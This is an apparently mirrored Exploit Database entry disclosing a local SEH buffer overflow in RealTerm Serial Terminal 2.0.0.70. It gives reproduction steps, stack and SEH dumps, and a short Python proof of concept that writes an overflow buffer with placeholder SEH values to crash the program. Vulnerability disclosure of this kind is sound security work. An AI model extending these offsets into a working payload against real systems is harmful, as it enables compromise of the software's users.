Realterm Serial Terminal 2.0.0.70 – Local Buffer Overflow (SEH)

• Exploit Database
• 74 阅读

• 作者： Alejandra Sánchez
  日期： 2019-02-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46391/

• # -*- coding: utf-8 -*-
  # Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)
  # Date: 16/02/2019
  # Author: Alejandra Sánchez
  # Vendor Homepage: https://realterm.sourceforge.io/
  # Software Link: https://sourceforge.net/projects/realterm/files/ 
  # Version: 2.0.0.70
  # Tested on: Windows 10 / Windows XP 
  
  
  # Proof of Concept:
  # 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"
  # 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
  # 3.- Open realterm.exe 
  # 4.- Go to 'Echo Port' tab
  # 5.- Paste clipboard in 'Port' field
  # 6.- Click on button -> Change
  # 7.- Check 'Echo On' or 
  # 8.- Crashed
  
  # After the execution of POC, the SEH chain looks like this: 
  # 0012F57C 43434343
  # 42424242 *** CORRUPT ENTRY ***
  
  # And the Stack
  
  #0012F568 41414141AAAA
  #0012F56C 41414141AAAA
  #0012F570 41414141AAAA
  #0012F574 41414141AAAA
  #0012F578 42424242BBBBPointer to next SEH record
  #0012F57C 43434343CCCCSE handler
  
  
  buffer = "\x41" * 268 
  nseh = "\x42" * 4
  seh = "\x43" * 4
  f = open ("EchoPort.txt", "w")
  f.write(buffer+nseh+seh)
  f.close()
  

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